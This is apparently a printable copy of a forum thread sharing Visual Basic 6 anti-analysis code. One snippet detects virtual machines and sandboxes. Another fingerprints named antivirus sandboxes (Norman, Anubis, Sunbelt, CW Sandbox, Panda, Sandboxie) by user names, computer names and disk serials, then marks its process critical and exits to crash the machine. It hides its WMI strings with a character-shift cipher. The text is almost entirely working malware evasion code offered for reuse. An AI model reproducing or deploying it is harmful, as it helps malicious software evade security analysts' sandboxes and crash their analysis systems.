Anti Vm, Sandboxie, Norman - نسخه قابل چاپ

کد:

Option Explicit



Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long

Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Private Declare Sub CloseHandle Lib "kernel32" (ByVal hObject As Long)

Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long



Private Const TH32CS_SNAPPROCESS = &H2

Private Const MAX_PATH As Long = 260



Private Type PROCESSENTRY32

dwSize As Long

cntUsage As Long

th32ProcessID As Long

th32DefaultHeapID As Long

th32ModuleID As Long

cntThreads As Long

th32ParentProcessID As Long

pcPriClassBase As Long

dwFlags As Long

szExeFile As String * MAX_PATH

End Type



Function vm()

Dim oAdapters As Object

Dim oCard As Object

Dim SQL As String







' Abfrage erstellen

SQL = "SELECT * FROM Win32_VideoController"

Set oAdapters = GetObject("winmgmts:").ExecQuery(SQL)





' Auflisten aller Grafikadapter

For Each oCard In oAdapters

Select Case oCard.Description



Case "VM Additions S3 Trio32/64"

MsgBox "MS VPC with Additions found!", vbInformation



Case "S3 Trio32/64"

MsgBox "MS VPC without Additions found!", vbInformation



Case "VirtualBox Graphics Adapter"

MsgBox "VirtualBox with Additions found!", vbInformation





Case "VMware SVGA II"

MsgBox "VMWare with Additions found!", vbInformation



Case ""

MsgBox "VM found!", vbInformation



Case Else

MsgBox "I'm not running in a VM!", vbInformation

End Select







Next

End Function







Public Function Sandboxed() As Boolean

Dim nSnapshot As Long, nProcess As PROCESSENTRY32

Dim nResult As Long, ParentID As Long, IDCheck As Boolean

Dim nProcessID As Long



'Eigene ProcessID ermitteln

nProcessID = GetCurrentProcessId

If nProcessID <> 0 Then

'Abbild der Prozesse machen

nSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)

If nSnapshot <> 0 Then

nProcess.dwSize = Len(nProcess)



'Zeiger auf ersten Prozess bewegen

nResult = ProcessFirst(nSnapshot, nProcess)



Do Until nResult = 0

'Nach der eigenen ProcessID suchen.

If nProcess.th32ProcessID = nProcessID Then



'Wir merken uns die ParentProcessID

ParentID = nProcess.th32ParentProcessID



'Wir beginnen nochmal beim ersten Prozess

nResult = ProcessFirst(nSnapshot, nProcess)

Do Until nResult = 0

'Wir suchen den Process mit der ParentID

If nProcess.th32ProcessID = ParentID Then

'Falls so ein Prozess vorhanden ist, dann ist das Programm nicht sandboxed

IDCheck = False

Exit Do

Else

IDCheck = True

nResult = ProcessNext(nSnapshot, nProcess)

End If

Loop



'Falls check True ist, dann ist das Programm Sandboxed

Sandboxed = IDCheck



Exit Do

Else

'Zum nächsten Prozess

nResult = ProcessNext(nSnapshot, nProcess)

End If

Loop

' Handle wird geschloßen

CloseHandle nSnapshot

End If

End If

End Function 





Reply With Quote.



--------------------------------------------------------------------------------

کد:

'TANX SqUeEzEr 

Option Explicit

Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Private Declare Function RtlAdjustPrivilege Lib "ntdll" (ByVal Privilege As Long, ByVal Enable As Boolean, ByVal Client As Boolean, WasEnabled As Long) As Long

Private Declare Function NtSetInformationProcess Lib "ntdll.dll" (ByVal hProcess As Integer, ByVal ProcessInformationClass As Integer, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Integer) As Integer

Private Declare Function GetVolumeInformationA Lib "kernel32" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Private Declare Sub ExitProcess Lib "kernel32" (ByVal uExitCode As Long)



Public Sub CompCheck()

    Dim bFound As Boolean

    

    If GWser = "55274-339-6006333-22900" Then

        bFound = True

    End If

    

    If GWser = "76487-OEM-0065901-82986" Then

        bFound = True

    End If

    

    If Environ("computername") = "XPSP3" Then

        If Environ("username") = "Joe" Then

            bFound = True

        End If

    End If

    

    If Left(Environ("computername"), 10) = "NONE-DUSEZ" Then

        bFound = True

    End If

    

    If Left(Environ("computername"), 5) = "VMLOG" Then

        bFound = True

    End If

    

    If Environ("username") = "Sndbx" Then

        If GetDriveSerial() = 546811503 Then bFound = True 'Sandbox of unknown AV

    End If

    

    If Environ("username") = "tester" Then

        If GetDriveSerial() = 800539777 Then bFound = True 'Sandbox of unknown AV found...

    End If

    

    If Environ("USERNAME") = "panda" Then

        If Environ("computername") = "AUTO" Then bFound = True 'Msgbox "Panda Sandbox Detected"

    End If

        

    If Environ("username") = "currentuser" Then bFound = True 'MsgBox "Norman Sandbox Detected"

    

    If App.Path = "C:\" Then

        If App.EXEName = "file" Then bFound = True 'MsgBox "Sunbelt Sandbox Detected"

        If App.EXEName = "Sample" Then bFound = True 'MsgBox "Anubis Sandbox Detected"

    End If

        

    If GetModuleHandle("SbieDll.dll") Then bFound = True 'MsgBox "Sandboxie Detected"



    If Environ("username") = "Schmidti" Then bFound = True 'MsgBox "CW Sandbox Detected"

        

    If bFound = True Then

        Call MakeCritical(-1, True)

        Call ExitProcess(0)

    End If



End Sub

Private Function MakeCritical(Phandle As Long, Value As Boolean)

    Dim ProcessInfo As Long

    ProcessInfo = IIf(Value, 29&, 0&)

    Call RtlAdjustPrivilege(20, True, True, 0)

    Call NtSetInformationProcess(Phandle, 29, VarPtr(ProcessInfo), Len(ProcessInfo))

End Function

Private Function GetDriveSerial() As Long

    Dim RetVal As Long

    Dim str As String * 255

    Dim str2 As String * 255

    Dim a As Long

    Dim b As Long

    Call GetVolumeInformationA("C:\", str, 255, RetVal, a, b, str2, 255)

    GetDriveSerial = IIf(RetVal < 0, RetVal * -1, RetVal)

End Function

Public Function GWser() As String 'Get windows serial

  Dim WinSerial As String

  Dim SWbemSet As Object

  Dim SWbemObj As Object

  On Error Resume Next

    Set SWbemSet = GetObject(What("xjonhnut;|jnqfstpobujpoMfwfm>jnqfstpobuf~")).InstancesOf(Split(What("Xjo43`PqfsbujohTztufn-TfsjbmOvncfs"), ",")(0))

    WinSerial = ""

    For Each SWbemObj In SWbemSet

      WinSerial = SWbemObj.Properties_(Split(What("Xjo43`PqfsbujohTztufn-TfsjbmOvncfs"), ",")(1)) 'Property value

      WinSerial = Trim(WinSerial)

      If Len(WinSerial) < 1 Then WinSerial = "Unknown"

    GWser = WinSerial

  Next

End Function

Public Function What(huh) As String

Dim god As Long

Dim current As Long

Dim Process As String

For god = 1 To Len(huh)

            current = Asc(Mid(huh, god, 1)) - 1

        Process = Process & Chr(current)

    Next god

    What = Process

End Function